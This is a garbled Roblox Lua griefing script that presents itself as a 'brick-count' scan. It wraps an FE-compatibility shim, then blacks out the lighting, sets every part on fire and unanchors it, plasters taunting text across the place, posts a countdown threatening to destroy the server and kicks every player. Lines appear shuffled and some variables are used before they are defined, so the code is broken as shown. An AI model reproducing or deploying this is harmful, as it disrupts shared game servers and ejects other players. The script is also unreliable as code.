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1
--https://github.com/Mokiros/roblox-FE-compatibility
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if game:GetService("RunService"):IsClient() then error("Your fucking script is assholic use h/ dumbass") end
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local Player,Mouse,mouse,UserInputService,ContextActionService = owner
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local RealPlayer = Player
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do print("Project keep K00L activated - anti ban EXECUTING SCRIPT")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end
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-- Quick scan:
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-- 	This will just give you a brick-count and print it to your output
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--	Go in Solo or Online mode to get a dynamic GUI counter
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sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
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local lighting = game:GetService("Lighting")
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lighting.Brightness = 0
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lighting.OutdoorAmbient = Color3.new(0,0,0)
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local sky = Instance.new("Sky", lighting)
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sky.SkyboxBk = "http://www.roblox.com/asset/?id=135662647"
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sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020144"
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sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020234"
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sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020211"
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sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020254"
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sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020383"
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local music = Instance.new("Sound", game.Workspace)
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music.SoundId = "rbxassetid://150402649"
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music.Volume = 1
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music.Looped = true
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music.PlayOnRemove = true
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music:Play()
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local parts = {}
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function scan(p)
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	for _,target in pairs(p:GetChildren()) do
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		if target:IsA("BasePart") then
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			table.insert(parts,target) -- target is the actual parts!
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			target.Anchored = false
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			target.BrickColor = BrickColor.new("Really black")
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			local sb = Instance.new("SelectionBox", target)
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			pe.Texture = "rbxassetid://45524735"
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			sb.SurfaceColor3 = Color3.new(170, 0, 0)
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			sb.Adornee = target
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			local pe = Instance.new("ParticleEmitter", target)
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			pe2.Name = "ERROR_._ER-__ORO_...."
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			pe.Texture = "rbxassetid://135662647"
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			pe.Rate = 10
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			pe.SpreadAngle = Vector2.new(-90, 90)
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			local pe2 = Instance.new("ParticleEmitter", target)
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			pe2.Name = "FAT_._ER-__FAT_...."
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			pe2.Texture = "rbxassetid://158293315"
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			pe2.Rate = 10
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				"1x1x1x1 !S B4CK",
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				"101010110100101011101111010101",
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				"_-ERROR-_"
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			bb.AlwaysOnTop = true
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			local randomtext = {
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				"K00L BACON SHALL NEVER DIE",
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				"COLDAS IS FAT",
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				"DESPACITO ITS DATLOL OMG"
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			}
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			local label = Instance.new("TextLabel", bb)
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			label.Size = UDim2.new(1,0 , 1,0)
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			label.TextScaled = true
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			label.TextWrapped = true
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			label.BackgroundTransparency = 1
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			local brickcolor = BrickColor.new("Really red")
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			label.TextColor3 = brickcolor.Color
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			label.Font = "ArialBold"
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			label.TextSize = 100
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			local chosentext = randomtext[math.random(1, #randomtext)]
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			label.Text = chosentext
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			local fire = Instance.new("Fire", target)
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			fire.Size = 30
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			fire.Heat = 25
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		end
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		scan(target)
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	end
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end
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scan(game.Workspace)
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--print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
76-
m.Text = "1x1x1x1 HAS RETURNED TO DESTROY ROBLOX!"
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wait(1)
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local m = Instance.new("Message", game.Workspace)
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m.Text = "DESYROYER HAS RETURNED TO DESTROY ROBLOX!"
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wait(3)
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m.Text = "STARTING COUNTDOWN..."
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wait(2)
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m.Text = "ONCE THE TIMER REACH 0, THIS SERVER WILL NO LONGER EXIST!"
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wait(5)
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local unit = 10
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wait(1)
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for i = 1, 10 do
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m.Text = "FAREWELL, IDIOTS! MUAHAHAHAHAHAHAHA!!!"
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	m.Text = "COUNTDOWN: "	..unit.. " SECONDS LEFT!"
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	wait(1)
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end
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m.Text = "Destroyer IS INFINITE!!!"
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local prey = nil
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local parts = script.Parent:GetChildren() 
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for i = 1,#parts do 
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	if (parts[i].className == "Part") then 
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		if (prey ~= nil)then 
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			prey:Destroy()
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		end 
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		prey = parts[i] 
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	end 
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end
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for i, players in pairs(game.Players:GetChildren()) do
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	players:Kick("010111010101000101011101010100010111101010010100010111101011010100101010101010101010101010101001010101011011010110100101010101010101011101")
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end